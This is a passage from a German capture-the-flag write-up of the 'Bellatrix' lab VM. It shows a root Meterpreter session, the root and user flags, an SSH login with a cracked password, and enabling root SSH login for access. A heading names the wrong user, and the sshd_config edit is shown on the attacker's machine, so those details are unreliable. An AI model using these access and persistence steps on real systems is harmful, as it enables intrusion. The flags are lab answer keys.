Der Befehl `getuid` in der Meterpreter-Session gibt den Benutzernamen des Servers aus. Die Ausgabe `Server username: root` bestätigt, dass wir erfolgreich Root-Rechte auf dem Zielsystem erlangt haben.

meterpreter > cd ~
meterpreter > ls
Listing: /root

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-  1252  fil   2020-11-28 11:59:35 +0100  .bash_history
100644/rw-r--r--  3106  fil   2019-08-14 21:53:21 +0200  .bashrc
040700/rwx  4096  dir   2020-11-28 09:22:40 +0100  .cache
040700/rwx  4096  dir   2020-11-27 21:09:45 +0100  .config
040700/rwx  4096  dir   2020-11-27 21:07:54 +0100  .dbus
040700/rwx  4096  dir   2020-11-27 21:07:55 +0100  .local
100644/rw-r--r--  161   fil   2020-09-16 15:26:50 +0200  .profile
100644/rw-r--r--  66    fil   2020-11-28 09:44:31 +0100  .selected_editor
100600/rw-  806   fil   2020-11-28 11:59:45 +0100  .viminfo
100644/rw-r--r--  680   fil   2020-11-28 09:18:44 +0100  root.txt
100755/rwxr-xr-x  47    fil   2020-11-28 09:43:18 +0100  script.sh
040755/rwxr-xr-x  4096  dir   2020-11-28 08:03:45 +0100  snap
                

Der Befehl `cd ~` wechselt in das Home-Verzeichnis des aktuellen Benutzers (in diesem Fall Root). Der Befehl `ls` listet den Inhalt des Root-Verzeichnisses auf. Interessant ist die Datei `root.txt`, die wahrscheinlich die Root-Flagge enthält. Außerdem ist die `script.sh` vorhanden.

meterpreter > cat root.txt
 ____       _ _       _        _      
 |  _ \     | | |     | |      (_)     
 | |_) | ___| | | __ _| |_ _ __ ___  __
 |  _ < / _ \ | |/ _` | __| '__| \ \/ /
 | |_) |  __/ | | (_| | |_| |  | |>  < 
 |____/ \___|_|_|\__,_|\__|_|  |_/_/\_\




  _               _                              
 | |             | |                             
 | |     ___  ___| |_ _ __ __ _ _ __   __ _  ___ 
 | |    / _ \/ __| __| '__/ _` | '_ \ / _` |/ _ \
 | |___|  __/\__ \ |_| | | (_| | | | | (_| |  __/
 |______\___||___/\__|_|  \__,_|_| |_|\__, |\___|
                                       __/ |     
                                      |___/ 



root{ead5a85a11ba466011fced308d460a76}
                

Der Befehl `cat root.txt` gibt den Inhalt der Datei `root.txt` aus, die die Root-Flagge enthält. Die Root-Flagge lautet root{ead5a85a11ba466011fced308d460a76}.

Proof of Concept

Proof of Concept: SSH-Anmeldung als Benutzer Thor

Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen für den Benutzer Bellatrix.

Nachdem wir die User Flag gefunden und das Passwort goodjob entschlüsselt haben, können wir uns nun via SSH als Benutzer Bellatrix anmelden:

┌──(root㉿cyber)-[~]
└─# ssh bellatrix@hogwarts.vln
bellatrix@hogwarts.vln's password:
                

Nach der Eingabe des Passworts goodjob sind wir erfolgreich als Benutzer Bellatrix angemeldet.

Last login: Mon Nov 28 08:14:27 2020 from 192.168.2.104
bellatrix@bellatrix:~$
                

Proof of Concept: SSH-Anmeldung als Root-Benutzer

Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Root-Rechten.

Nachdem wir die Root-Rechte erhalten haben, könnten wir den SSH-Server so konfigurieren, dass Root-Logins erlaubt sind (was aus Sicherheitsgründen nicht empfohlen wird), oder einen neuen Benutzer mit Root-Rechten erstellen. Alternativ könnten wir das Root-Passwort ändern (was auch nicht empfohlen wird). Da es sich um eine VM handelt, demonstrieren wir hier die Anmeldung via SSH.

Um uns via SSH als Root anmelden zu können, muss die SSH Konfigurationsdatei angepasst werden, und die Zeile `PermitRootLogin` auf `yes` gesetzt werden. Damit das funktioniert, muss sich die Textdatei vorher im Editor mit Root Privilegien geöffnet werden.

┌──(root㉿cyber)-[~]
└─# vi /etc/ssh/sshd_config
                

Nachdem wir die Datei angepasst haben, muss der SSH Dienst neu gestartet werden.

┌──(root㉿cyber)-[~]
└─# systemctl restart sshd
                

Jetzt können wir uns als Root anmelden.

┌──(root㉿cyber)-[~]
└─# ssh root@hogwarts.vln
                

Flags

Flags

cat user.txt {69e0f71f25ece4351e4d73af430bec43}
cat root.txt root{ead5a85a11ba466011fced308d460a76}